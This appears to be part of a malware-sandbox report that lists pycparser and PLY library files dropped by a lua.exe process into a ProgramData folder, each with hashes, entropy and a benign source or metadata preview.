Preview:	pycparser -- A C parser in Python..Copyright (c) 2008-2017, Eli Bendersky.All rights reserved...Redistribution and use in source and binary forms, with or without modification,.are permitted provided that the following conditions are met:..* Redistributions of source code must retain the above copyright notice, this . list of conditions and the following disclaimer..* Redistributions in binary form must reproduce the above copyright notice, . this list of conditions and the following disclaimer in the documentation . and/or other materials provided with the distribution..* Neither the name of Eli Bendersky nor the names of its contributors may . be used to endorse or promote products derived from this software without . specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND .ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED .WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE AR

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser-2.20.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.9077987685351285
Encrypted:	false
SSDEEP:	24:DkB9CU2BeIZftDZftWZft2ZftYZftRTZft9awqJOLyDe:DkB92VjaaYxrGx6
MD5:	2DF456D8243048EEA1F6F3C4966AF413
SHA1:	38D5CF2634895615836FC0EDA57132F1FE565BAE
SHA-256:	E7F4432D311F9A0F1D876F68734E778D3369FCE2FCD8F965B208241904D4FC3B
SHA-512:	DF7D8CC9AF8D20E4E152D4CD24ED2FF6431B37BF9B51F949CF18BD2DD1BAFDA2552B1518F1445692D2F895138E11A4F203EC6815572D363F9BA5FB7DC99CFA40
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: pycparser.Version: 2.20.Summary: C parser in Python.Home-page: https://github.com/eliben/pycparser.Author: Eli Bendersky.Author-email: eliben@gmail.com.Maintainer: Eli Bendersky.License: BSD.Platform: Cross Platform.Classifier: Development Status :: 5 - Production/Stable.Classifier: License :: OSI Approved :: BSD License.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.4.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python :: 3.6.Requires-Python: >=2.7, !=3.0., !=3.1., !=3.2., !=3.3....pycparser is a complete parser of the C language, written in.pure Python using the PLY parsing library..It parses C code into an AST and can serve as a front-end for.C compilers or analysis tools....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser-2.20.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2775
Entropy (8bit):	5.6181210478014885
Encrypted:	false
SSDEEP:	48:pnuXuZE7IpDyl9dvSCGoYrPaLooYMnfYEUvY/PoHWrGo7Uch48/Y:sXiKEIdaCGoYrWooYafYEUviSWCo7UcU
MD5:	631657648AAE9A924D352617ADCF96C9
SHA1:	D899B29E0718D9090B2991F0B0E72EA322356E18
SHA-256:	F642EEE03C5A29E9EB1D6AC37F2A21EA32E3D11F1B440FF8605CA218EA3A132B
SHA-512:	C19F077E24B8F53DDF04F89ABABDB3BC71C920BB96293AAC100ECD817ED0DDE5D841639A9806F5F039AA365EE71BBDD46B75627083DD00A59153E118F4D69DAB
Malicious:	false
Preview:	pycparser-2.20.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..pycparser-2.20.dist-info/LICENSE,sha256=PHZimICuwvhXjtkUcBpP-eXai2CsuLfsZ1q_g8kMUWg,1536..pycparser-2.20.dist-info/METADATA,sha256=5_RDLTEfmg8dh29oc053jTNp_OL82PllsggkGQTU_Ds,907..pycparser-2.20.dist-info/RECORD,,..pycparser-2.20.dist-info/WHEEL,sha256=kGT74LWyRUZrL4VgLh6_g12IeVl_9u9ZVhadrgXZUEY,110..pycparser-2.20.dist-info/top_level.txt,sha256=c-lPcS74L_8KoH7IE6PQF5ofyirRQNV4VhkbSFIPeWM,10..pycparser/__init__.py,sha256=O2ajDXgU2_NI52hUFV8WeAjCR5L-sclmaXerpcxqgPo,2815..pycparser/__pycache__/__init__.cpython-37.pyc,,..pycparser/__pycache__/_ast_gen.cpython-37.pyc,,..pycparser/__pycache__/_build_tables.cpython-37.pyc,,..pycparser/__pycache__/ast_transforms.cpython-37.pyc,,..pycparser/__pycache__/c_ast.cpython-37.pyc,,..pycparser/__pycache__/c_generator.cpython-37.pyc,,..pycparser/__pycache__/c_lexer.cpython-37.pyc,,..pycparser/__pycache__/c_parser.cpython-37.pyc,,..pycparser/__pycache__/lextab.cpyth

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser-2.20.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.816968543485036
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVitcv6KjP+tPCCf7irO5S:RtBMwlViWZWBBwt
MD5:	D2A91F104288B412DBC67B54DE94E3AC
SHA1:	5132CB7D835D40A81D25A4A1D85667EB13E1A4D3
SHA-256:	9064FBE0B5B245466B2F85602E1EBF835D8879597FF6EF5956169DAE05D95046
SHA-512:	FACDEE18E59E77AEF972A5ACCB343A2EA9DB03F79D226C5827DC4BCDB47D3937FE347CB1F0A2FC48F035643F58737C875FDF1BD935586A98C6966BFA88C7484A
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.34.2).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser-2.20.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.9219280948873623
Encrypted:	false
SSDEEP:	3:YXH/:W
MD5:	0DE5B0E5C6DF03DA418EADB1A2731207
SHA1:	6B07E5DF84D3F430B78CF44F43410E4B6BE11894
SHA-256:	73E94F712EF82FFF0AA07EC813A3D0179A1FCA2AD140D57856191B48520F7963
SHA-512:	EBC387A148D34161D542FFCA9C1F37F1C0DC99BE3F51567BDF6C408ABEC2FBD7582A89B991F01D7BF808B714E912D31B73D17E8A0444E26DD7D8C80EAD1B1D59
Malicious:	false
Preview:	pycparser.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2815
Entropy (8bit):	4.417498313109139
Encrypted:	false
SSDEEP:	48:BGCRWkZKKUFFog7CKOXUW3+jUSV0/lzJbpfybFFILP:BGCRWy9UFzqUWOjbOldbpKbFCLP
MD5:	8C3BD00E751E8645D416EB0D8E8DA76B
SHA1:	E1588C18DC27101635B03F007065F90FD3E2B2C7
SHA-256:	3B66A30D7814DBF348E76854155F167808C24792FEB1C9666977ABA5CC6A80FA
SHA-512:	38E9659BF2AD4E2C7E2B42F55B4F4D58D88A2DC3A2777EF5F381B670C3417860FC812324C1E371DCCDE7D4C9A2DD104E45CAD1397FADE2E3E2B866491A667605
Malicious:	false
Preview:	#-----------------------------------------------------------------.# pycparser: __init__.py.#.# This package file exports some convenience functions for.# interacting with pycparser.#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#-----------------------------------------------------------------.__all__ = ['c_lexer', 'c_parser', 'c_ast'].__version__ = '2.20'..import io.from subprocess import check_output.from .c_parser import CParser...def preprocess_file(filename, cpp_path='cpp', cpp_args=''):. """ Preprocess a file using cpp... filename:. Name of the file you want to preprocess... cpp_path:. cpp_args:. Refer to the documentation of parse_file for the meaning of these. arguments... When successful, returns the preprocessed file's contents.. Errors from cpp will be printed out.. """. path_list = [cpp_path]. if isinstance(cpp_args, list):. path_list += cpp_args. elif cpp_args != '

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\_ast_gen.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10607
Entropy (8bit):	4.281319160583966
Encrypted:	false
SSDEEP:	192:+jidEjcTYTfXnw6ypQtyDJw2JZFdSORLQQt2Jg:+jiuAGO3wGXdSqVt2Jg
MD5:	F7AB024743499111AC984E6902FA1D52
SHA1:	CB388BC02A0164619CCB7E902DD6F0566B50E5F7
SHA-256:	FCB6D1AFF90A6B610779BEF2D20579DB9255DBD9F30946D31F8A19FBD238A88B
SHA-512:	5300A45317774C1A12AB7E0B6ACC4D86136983AB3629C7DAA79BC5C8FFC8FFF5A3731B4929C2B8EA5D23277254ADAD0FE19CD4C457B7A97472FEF75B5C06FACF
Malicious:	false
Preview:	#-----------------------------------------------------------------.# _ast_gen.py.#.# Generates the AST Node classes from a specification given in.# a configuration file.#.# The design of this module was inspired by astgen.py from the.# Python 2.5 code-base..#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#-----------------------------------------------------------------.import pprint.from string import Template...class ASTCodeGenerator(object):. def __init__(self, cfg_filename='_c_ast.cfg'):. """ Initialize the code generator from a configuration. file.. """. self.cfg_filename = cfg_filename. self.node_cfg = [NodeCfg(name, contents). for (name, contents) in self.parse_cfgfile(cfg_filename)].. def generate(self, file=None):. """ Generates the code into file, an open file buffer.. """. src = Template(_PROLOGUE_COMMENT).substitute(. cfg_filename=self.cfg_filename).. src += _PRO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\_build_tables.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	4.73373911997263
Encrypted:	false
SSDEEP:	24:yyfjhZuU0ILaO1NW2ZG34JlCD1JUOU5WV:B7uUdzWzmCv7LV
MD5:	126C4F0817A6409AD4EF95A1CBCD7A0A
SHA1:	DD6D0DE88863CC76D66159F5CAE4D7E46E1371F5
SHA-256:	A1909DDCF961ABEBE457E42E12C69A85C7FE8D423AF8780AB2B00BF60BC5CEE5
SHA-512:	EEB2E3102B72E1BEC05D19E1A40570B1DE578424FD9DB92448A3CF3224F05A06AFDCA53DA72681534F56785C1A81BFA553BBC08D5C0DB61BCAA39C76DCBD220A
Malicious:	false
Preview:	#-----------------------------------------------------------------.# pycparser: _build_tables.py.#.# A dummy for generating the lexing/parsing tables and and.# compiling them into .pyc for faster execution in optimized mode..# Also generates AST code from the configuration file..# Should be called from the pycparser directory..#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#-----------------------------------------------------------------..# Insert '.' and '..' as first entries to the search path for modules..# Restricted environments like embeddable python do not include the.# current working directory on startup..import sys.sys.path[0:0] = ['.', '..']..# Generate c_ast.py.from _ast_gen import ASTCodeGenerator.ast_gen = ASTCodeGenerator('_c_ast.cfg').ast_gen.generate(open('c_ast.py', 'w'))..from pycparser import c_parser..# Generates the tables.#.c_parser.CParser(. lex_optimize=True,. yacc_debug=False,. yacc_optimize=True)..# Load to compile into .pyc.#.imp

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\_c_ast.cfg Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4206
Entropy (8bit):	4.885020494046249
Encrypted:	false
SSDEEP:	96:B2l8Wb/X+zPH4Ixo53teTpxvaIBw7I6YvoQ6i:BhWb2QxCvaILmi
MD5:	8BDC63CA901E473F8F8311DA6A4EF833
SHA1:	3D36ABEF17CFD669951BBFDA095580D0E206D83A
SHA-256:	D56F3E0C76B946A66FCA185AFF46F856F28BD02118BFD5B4C45B3F6308B21076
SHA-512:	FD080F436B246C70B8980CC29129A19347BDAFDDF99C0E822564D7A96464D4108381663B8F5C83C87717EB0C878075D6670E138D2095A51A5E98F9EE046DBA9B
Malicious:	false
Preview:	#-----------------------------------------------------------------.# pycparser: _c_ast.cfg.#.# Defines the AST Node classes used in pycparser..#.# Each entry is a Node sub-class name, listing the attributes.# and child nodes of the class:.# <name>* - a child node.# <name>** - a sequence of child nodes.# <name> - an attribute.#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#-----------------------------------------------------------------..# ArrayDecl is a nested declaration of an array with the given type..# dim: the dimension (for example, constant 42).# dim_quals: list of dimension qualifiers, to support C99's allowing 'const'.# and 'static' within the array dimension in function declarations..ArrayDecl: [type, dim, dim_quals]..ArrayRef: [name, subscript]..# op: =, +=, /= etc..#.Assignment: [op, lvalue, rvalue]..BinaryOp: [op, left, right]..Break: []..Case: [expr, stmts]..Cast: [to_type, expr*]..# Compound statement in C99 is

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ast_transforms.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3648
Entropy (8bit):	4.120473461364951
Encrypted:	false
SSDEEP:	96:W/ctyV1CuXk/xEo/XLbOb41vltVGqIWg4vmkNyJ/ELk:W//ozbO8bGqFgOmhh
MD5:	8622A181768B2B91E3583BADADF4181E
SHA1:	39024CD084E264D7D7B2C50F87B14AF73B99957A
SHA-256:	F7710D28435396E83315E867AD0D1F769AE28D574DB7F00208FCA03311F8BFB4
SHA-512:	6CF28689B42D605AA7C268C062A64C997141DC3264250DC8E47CA05F8122F157B854C1C45DF57E2713D12D3BCA712DA8411C902EB7B40ED60E226CC5063C85EC
Malicious:	false
Preview:	#------------------------------------------------------------------------------.# pycparser: ast_transforms.py.#.# Some utilities used by the parser to create a friendlier AST..#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#------------------------------------------------------------------------------..from . import c_ast...def fix_switch_cases(switch_node):. """ The 'case' statements in a 'switch' come out of parsing with one. child node, so subsequent statements are just tucked to the parent. Compound. Additionally, consecutive (fall-through) case statements. come out messy. This is a peculiarity of the C grammar. The following:.. switch (myvar) {. case 10:. k = 10;. p = k + 1;. return 10;. case 20:. case 30:. return 20;. default:. break;. }.. Creates this tre

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\c_ast.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	30233
Entropy (8bit):	4.3269725098451
Encrypted:	false
SSDEEP:	192:JH2JZFdSORLQQt2JoeNPtUuDpQvGvmwX8/Tn0jNgUbfZ78KxL3:JHGXdSqVt2JRNDvmw+Tn0jGEZZ3
MD5:	61389CC9AC09DB84E39AF82C9B3A7925
SHA1:	30135054F55294D772D898AAFF4FA38EA136ED87
SHA-256:	25D0F20B74146417D7F7056ED8434EAD040F6DCEF7EC999FF15B68CE1BA46B2A
SHA-512:	FC04C64D77D73A33AA3C34D9B1FCF45CF83C79F4A007D8735FE504555A93AD39927C3851F063357CC27FAB19D0DCFE2056ACDB77D3EC447B5D6BF703D03FFB1B
Malicious:	false
Preview:	#-----------------------------------------------------------------.# ATTENTION .# This code was automatically generated from the file:.# _c_ast.cfg.#.# Do not modify it directly. Modify the configuration file and.# run the generator again..# * **.#.# pycparser: c_ast.py.#.# AST Node classes..#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#-----------------------------------------------------------------...import sys..def _repr(obj):. """. Get the representation of an object, with dedicated pprint-like format for lists.. """. if isinstance(obj, list):. return '[' + (',\n '.join((_repr(e).replace('\n', '\n ') for e in obj))) + '\n]'. else:. return repr(obj) ..class Node(object):. __slots__ = (). """ Abstract base class for AST nodes.. """. def __repr__(self):. """ Generates a python representation of the current node. """. result = self.__class__.__name__ + '('. . indent = ''.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\c_generator.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15365
Entropy (8bit):	4.2741688546426655
Encrypted:	false
SSDEEP:	192:WhNv9rwOpOlq1thSU24Id6mqEJIWsrVjx57pfljsi3emUJDYLovGJxXtG39GyuqW:WhNv91w14vLljTYgjatugjkHF
MD5:	AD44179597E39EF522C2B74954149E00
SHA1:	B82F7C3AB33EDF63024A93DCFC30AE9C3CC2D7D2
SHA-256:	030CCDC84FEB3852B68332B4279A42583A9F93B57C28BE782131517FD9B81A56
SHA-512:	9C9D9BC3A6ACF6E7C864C3935CF93486986C022E838DA2DBCB0854ED4F4197548AD3A87EDC086F8457C50089B9C0739B94EBF4C663567A50155FE2FE2B0A239D
Malicious:	false
Preview:	#------------------------------------------------------------------------------.# pycparser: c_generator.py.#.# C code generator from pycparser AST nodes..#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#------------------------------------------------------------------------------.from . import c_ast...class CGenerator(object):. """ Uses the same visitor pattern as c_ast.NodeVisitor, but modified to. return a value from each visit method, using string accumulation in. generic_visit.. """. def __init__(self):. # Statements start with indentation of self.indent_level spaces, using. # the _make_indent method. #. self.indent_level = 0.. def _make_indent(self):. return ' ' * self.indent_level.. def visit(self, node):. method = 'visit_' + node.__class__.__name__. return getattr(self, method, self.generic_visit)(node).. def generic_visit(self, node):. #~ print('generic:', type(node)).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\c_lexer.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	16208
Entropy (8bit):	4.8926962327167045
Encrypted:	false
SSDEEP:	384:Wirug/TkGlgM8NsZDcX1WRWc2kSsnfQn+vwC26OilEH:1rx7Tlg5V1oWNkjfQnIX6H
MD5:	970924ECF56E2F5455D0DDE70F451857
SHA1:	1236EA40C52BEA71B32FA993ECB082D0380E06C4
SHA-256:	1963D493015EE85D3481300A20F031E31B3CF89F9AB7FA06C041E7ACA178B5E3
SHA-512:	F829C3788E25DFF7376BD41A6A54B3413545167097F923FE7DE18715E15B5E86A91F91B5779BFDC7B4ACA93C6F08F48BBD60605436105A9DE74D0FA0FF6445DE
Malicious:	false
Preview:	#------------------------------------------------------------------------------.# pycparser: c_lexer.py.#.# CLexer class: lexer for the C language.#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#------------------------------------------------------------------------------.import re.import sys..from .ply import lex.from .ply.lex import TOKEN...class CLexer(object):. """ A lexer for the C language. After building it, set the. input text with input(), and call token() to get new. tokens... The public attribute filename can be set to an initial. filename, but the lexer will update it upon #line. directives.. """. def __init__(self, error_func, on_lbrace_func, on_rbrace_func,. type_lookup_func):. """ Create a new Lexer... error_func:. An error function. Will be called with an error. message, line and column as arguments, in case of. an error during l

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\c_parser.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	69746
Entropy (8bit):	4.387453186664436
Encrypted:	false
SSDEEP:	768:uNJUOkuQyIHUXDwXdn0SPWCHehBGnedRbWIwAhAwYhP:+JUkI0K0S+CHehBl2w+
MD5:	75651729F741B2225C843749D34C1877
SHA1:	9E38E5320A5B2170BFA909ACD927C5F87EEE40CD
SHA-256:	C3BE0DE2D1464374C44C8A94C0295921C6E5F95E2115E2523C6DA16A5560515B
SHA-512:	7E994244C09ACC855E94EB6988ACAFFC09F578EE9B582B22421088C3962EFFE42DA6458FB3E5930AA7E96A97BCF6DB58BEB9AC56D74ECFF60CBBA8FFAF45ECD5
Malicious:	false
Preview:	#------------------------------------------------------------------------------.# pycparser: c_parser.py.#.# CParser class: Parser and AST builder for the C language.#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#------------------------------------------------------------------------------.import re..from .ply import yacc..from . import c_ast.from .c_lexer import CLexer.from .plyparser import PLYParser, Coord, ParseError, parameterized, template.from .ast_transforms import fix_switch_cases...@template.class CParser(PLYParser):. def __init__(. self,. lex_optimize=True,. lexer=CLexer,. lextab='pycparser.lextab',. yacc_optimize=True,. yacctab='pycparser.yacctab',. yacc_debug=False,. taboutputdir=''):. """ Create a new CParser... Some arguments for controlling the debug/optimization. level of the parser are provided. The defaults are. tuned

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\lextab.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	7011
Entropy (8bit):	5.467654056707674
Encrypted:	false
SSDEEP:	192:CUxT3+PPxgckr4wxhIF8FfV77Wov9IyRPT4f:CUxT3+3xgcQhIF8FfVPWoFIyyf
MD5:	54A2EF8F49B614697283D814F18FACA8
SHA1:	C16F895C62996D6C32AC82DD8075547BA96776D7
SHA-256:	1728D122C6AADB05620EA24D61271446E73B1835B9175D95B98C4E24B8758F88
SHA-512:	DF56CFB4178B0FDB4692CF955DDDEE48341C5D0A00AB99A1EE5A024C04DF703F70EFBE9F780AAF049CFF21939B5B1343C9EF00FEDC4E045281C15DA8365785A3
Malicious:	false
Preview:	# lextab.py. This file automatically created by PLY (version 3.10). Don't edit!._tabversion = '3.10'._lextokens = set(('VOID', 'LBRACKET', 'WCHAR_CONST', 'FLOAT_CONST', 'MINUS', 'RPAREN', 'LONG', 'PLUS', 'ELLIPSIS', 'GT', 'GOTO', 'ENUM', 'PERIOD', 'GE', 'INT_CONST_DEC', 'ARROW', '__INT128', 'HEX_FLOAT_CONST', 'DOUBLE', 'MINUSEQUAL', 'INT_CONST_OCT', 'TIMESEQUAL', 'OR', 'SHORT', 'RETURN', 'RSHIFTEQUAL', 'RESTRICT', 'STATIC', 'SIZEOF', 'UNSIGNED', 'UNION', 'COLON', 'WSTRING_LITERAL', 'DIVIDE', 'FOR', 'PLUSPLUS', 'EQUALS', 'ELSE', 'INLINE', 'EQ', 'AND', 'TYPEID', 'LBRACE', 'PPHASH', 'INT', 'SIGNED', 'CONTINUE', 'NOT', 'OREQUAL', 'MOD', 'RSHIFT', 'DEFAULT', 'CHAR', 'WHILE', 'DIVEQUAL', 'EXTERN', 'CASE', 'LAND', 'REGISTER', 'MODEQUAL', 'NE', 'SWITCH', 'INT_CONST_HEX', '_COMPLEX', 'PPPRAGMASTR', 'PLUSEQUAL', 'STRUCT', 'CONDOP', 'BREAK', 'VOLATILE', 'PPPRAGMA', 'ANDEQUAL', 'INT_CONST_BIN', 'DO', 'LNOT', 'CONST', 'LOR', 'CHAR_CONST', 'LSHIFT', 'RBRACE', '_BOOL', 'LE', 'SEMI', 'LT', 'COMMA

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ply\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	102
Entropy (8bit):	4.939247220388048
Encrypted:	false
SSDEEP:	3:SQ3rWAFJOClBPAvvKXLvbLzi6+Fo+CRGp:S8WSJcsvzi6+h
MD5:	498B675AAD8DC005DC64DB594F221378
SHA1:	0175637D9E29875517C7C8F50C3A17CD5573A9BC
SHA-256:	AB8B3CE90C11B1845ADB42FDB9E4B17E1FA13E28697ED0630CEBD86B6FD24B66
SHA-512:	08F6534F23743661D9BAF4FCC74EF1C1CC50B476A03F309DD1576395C186685532A32CEA24793BBC6B81795F602EFF3DFF00F867608ECAB7A05FBF4A82D45530
Malicious:	false
Preview:	# PLY package.# Author: David Beazley (dave@dabeaz.com)..__version__ = '3.9'.__all__ = ['lex','yacc'].

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ply\cpp.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	33282
Entropy (8bit):	4.1589112496295275
Encrypted:	false
SSDEEP:	384:OAO63iy1Q/DWJlH+a3rTYpfLvwizREiNgD22zyMXZ5cwQrirgGVyuNib:OAG/y9nIBzyiNb7cub
MD5:	5731A2F2A7AB75460BA671074C280EF2
SHA1:	CFBEA64F58966B1CEA2D12F562042AA338E49D0A
SHA-256:	52D0B7CA54D6A79FF530A03E3CB0AEC0A411F3348E9E51AE18621DCE3F314BDF
SHA-512:	715685065ACB1814CA639D52DA16398A051B1A1B200F75F842996AF1C79A3C5E46E96BD1CA1BC391A53ABC9E764B8744F099CBEC2F777FA67B09B4CC378AF98E
Malicious:	false
Preview:	# -----------------------------------------------------------------------------.# cpp.py.#.# Author: David Beazley (http://www.dabeaz.com).# Copyright (C) 2017.# All rights reserved.#.# This module implements an ANSI-C style lexical preprocessor for PLY..# -----------------------------------------------------------------------------.import sys..# Some Python 3 compatibility shims.if sys.version_info.major < 3:. STRING_TYPES = (str, unicode).else:. STRING_TYPES = str. xrange = range..# -----------------------------------------------------------------------------.# Default preprocessor lexer definitions. These tokens are enough to get.# a basic preprocessor working. Other modules may import these if they want.# -----------------------------------------------------------------------------..tokens = (. 'CPP_ID','CPP_INTEGER', 'CPP_FLOAT', 'CPP_STRING', 'CPP_CHAR', 'CPP_WS', 'CPP_COMMENT1', 'CPP_COMMENT2', 'CPP_POUND','CPP_DPOUND'.)..literals = "+-*/%\|&~^<>=!?()[]{}.,;:\\\'\

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ply\ctokens.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3177
Entropy (8bit):	4.8189809262365415
Encrypted:	false
SSDEEP:	48:MopW8UdBS4YZX94VdnfSuu8imYIOmbMJ2SmkXe6Lype7e3TZdsg:MLDdk4kWu8ilIORakhyoq3TPsg
MD5:	3243640DA7B709C2065957B20BB7F0A6
SHA1:	16C5DDB58D86981D913FFC76B2EDE9F607B79670
SHA-256:	30A92C9CDE344DE84F86055FC422618E3FC18CBF78DDAA6B78004A633F9B9746
SHA-512:	1D97B0D84AE4EF059A4342C8E40C9DC3723DBD5E40ABADCEA06194EAA1B816097659B77593C49591AE377D68C498CA0ECD563B618A07D9E6A7F70EBF8CC3B90E
Malicious:	false
Preview:	# ----------------------------------------------------------------------.# ctokens.py.#.# Token specifications for symbols in ANSI C and C++. This file is.# meant to be used as a library in other tokenizers..# ----------------------------------------------------------------------..# Reserved words..tokens = [. # Literals (identifier, integer constant, float constant, string constant, char const). 'ID', 'TYPEID', 'INTEGER', 'FLOAT', 'STRING', 'CHARACTER',.. # Operators (+,-,,/,%,\|,&,~,^,<<,>>, \|\|, &&, !, <, <=, >, >=, ==, !=). 'PLUS', 'MINUS', 'TIMES', 'DIVIDE', 'MODULO',. 'OR', 'AND', 'NOT', 'XOR', 'LSHIFT', 'RSHIFT',. 'LOR', 'LAND', 'LNOT',. 'LT', 'LE', 'GT', 'GE', 'EQ', 'NE',. . # Assignment (=, =, /=, %=, +=, -=, <<=, >>=, &=, ^=, \|=). 'EQUALS', 'TIMESEQUAL', 'DIVEQUAL', 'MODEQUAL', 'PLUSEQUAL', 'MINUSEQUAL',. 'LSHIFTEQUAL','RSHIFTEQUAL', 'ANDEQUAL', 'XOREQUAL', 'OREQUAL',.. # Increment/decrement (++,--). 'INCREMENT', 'DECREMENT',.. # Str

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ply\lex.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	42918
Entropy (8bit):	4.356827020656561
Encrypted:	false
SSDEEP:	768:LjqVpMmn7baUfzt98CXy1QhCPZWT7ZDtimJML0fD:yVpMQbaUfzt98/ZCDYm+sD
MD5:	44F8CF25BFAA701DF3133557D80B9965
SHA1:	A5525223098295B03AEF684BFA10D6B977723824
SHA-256:	ED0A25E7BC7BD361D9C2303764BA7EF38094116AB511E856F8DEBB5B38218BE3
SHA-512:	1F5B4875079B4F99911B001AFBAB98DF0C0FAAB975B5E49A25AF915430160D9BFC61399368243378A77DD36E6140E1BE406D49CB1952BD5E3970300A364863C3
Malicious:	false
Preview:	# -----------------------------------------------------------------------------.# ply: lex.py.#.# Copyright (C) 2001-2017.# David M. Beazley (Dabeaz LLC).# All rights reserved..#.# Redistribution and use in source and binary forms, with or without.# modification, are permitted provided that the following conditions are.# met:.#.# * Redistributions of source code must retain the above copyright notice,.# this list of conditions and the following disclaimer..# * Redistributions in binary form must reproduce the above copyright notice,.# this list of conditions and the following disclaimer in the documentation.# and/or other materials provided with the distribution..# * Neither the name of the David Beazley or Dabeaz LLC may be used to.# endorse or promote products derived from this software without.# specific prior written permission..#.# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.# LIMI

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ply\yacc.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	137323
Entropy (8bit):	4.1261716972447315
Encrypted:	false
SSDEEP:	1536:nGOL4pGza1ctxgZv4AzSvgASWvgsieKuY2P98iZWxbnYgwNf:FLNzaeAZv4AzSvgASWvgsieKdDnYggf
MD5:	44D1BD9C28DDD0822FE9F1D2593DFB68
SHA1:	EC6AF0EF38FCC417632C5515340C7529FB6B9EB8
SHA-256:	79AB520E444B811AFA5F7FA1A0393F49042FD3AE51D0174BD8AEDF439E028153
SHA-512:	2122838B5FD74D38B9ECD1BE2BA3764A964CAA4BB09D1EA3006641E736F32C1585D8AF64A60A8F4CB702C8883A045E62BA02C1D5F236FDC2D26CC69504046570
Malicious:	false
